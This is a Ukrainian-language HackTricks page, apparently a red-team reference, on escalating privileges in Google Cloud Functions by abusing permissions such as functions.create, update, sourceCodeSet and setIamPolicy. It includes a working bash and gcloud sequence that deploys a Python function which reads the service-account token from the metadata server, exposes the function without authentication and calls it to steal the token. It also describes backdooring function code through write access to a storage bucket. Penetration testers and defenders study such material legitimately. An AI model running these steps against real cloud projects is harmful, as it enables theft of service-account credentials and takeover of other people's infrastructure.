GCP - Cloudfunctions Privesc

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

cloudfunctions

Більше інформації про Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Зловмисник з цими привілеями може створити нову Cloud Function з довільним (шкідливим) кодом і призначити їй обліковий запис служби. Потім, витягнути токен облікового запису служби з метаданих, щоб підвищити привілеї до нього.
Можливо, знадобляться деякі привілеї для активації функції.

Скрипти експлуатації для цього методу можна знайти тут і тут, а попередньо зібраний .zip файл можна знайти тут.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Зловмисник з цими привілеями може модифікувати код Функції і навіть змінювати обліковий запис служби, що прикріплений з метою ексфільтрації токена.

caution

Для розгортання cloud functions вам також знадобляться права actAs над обліковим записом служби за замовчуванням або над обліковим записом служби, що використовується для створення образу.

Додаткові привілеї, такі як дозвіл .call для версії 1 cloudfunctions або роль role/run.invoker для активації функції можуть бути необхідні.

bash
# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

caution

Якщо ви отримали помилку Permission 'run.services.setIamPolicy' denied on resource..., це означає, що ви використовуєте параметр --allow-unauthenticated і у вас недостатньо прав для цього.

Скрипт експлуатації для цього методу можна знайти тут.

cloudfunctions.functions.sourceCodeSet

З цим дозволом ви можете отримати підписане URL для завантаження файлу в бакет функції (але код функції не буде змінено, вам все ще потрібно його оновити)

bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Не зовсім впевнений, наскільки корисним є лише цей дозвіл з точки зору атакуючого, але добре знати.

cloudfunctions.functions.setIamPolicy, iam.serviceAccounts.actAs

Надайте собі будь-які з попередніх .update або .create привілеїв для ескалації.

cloudfunctions.functions.update

Маючи лише cloudfunctions дозволи, без iam.serviceAccounts.actAs, ви не зможете оновити функцію, ТОМУ ЦЕ НЕ Є ДІЙСНИМ ПРИВІЛЕЄМ.

Доступ на читання та запис до бакету

Якщо у вас є доступ на читання та запис до бакету, ви можете моніторити зміни в коді, і коли відбувається оновлення в бакеті, ви можете оновити новий код своїм кодом, з яким нова версія Cloud Function буде запущена з поданим бекдором.

Ви можете дізнатися більше про атаку в:

GCP - Storage Privesc

Однак ви не можете використовувати це для попереднього компрометації сторонніх Cloud Functions, тому що якщо ви створите бакет у своєму обліковому записі та надасте йому публічні дозволи, щоб зовнішній проект міг записувати в нього, ви отримаєте наступну помилку:

caution

Однак це може бути використано для атак DoS.

Доступ на читання та запис до Artifact Registry

Коли створюється Cloud Function, новий docker-образ завантажується до Artifact Registry проекту. Я намагався змінити образ на новий, і навіть видалити поточний образ (та образ cache), і нічого не змінилося, cloud function продовжує працювати. Тому, можливо, можливо зловживати атакою Race Condition як з бакетом, щоб змінити docker-контейнер, який буде запущено, але просто зміна збереженого образу не можлива для компрометації Cloud Function.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks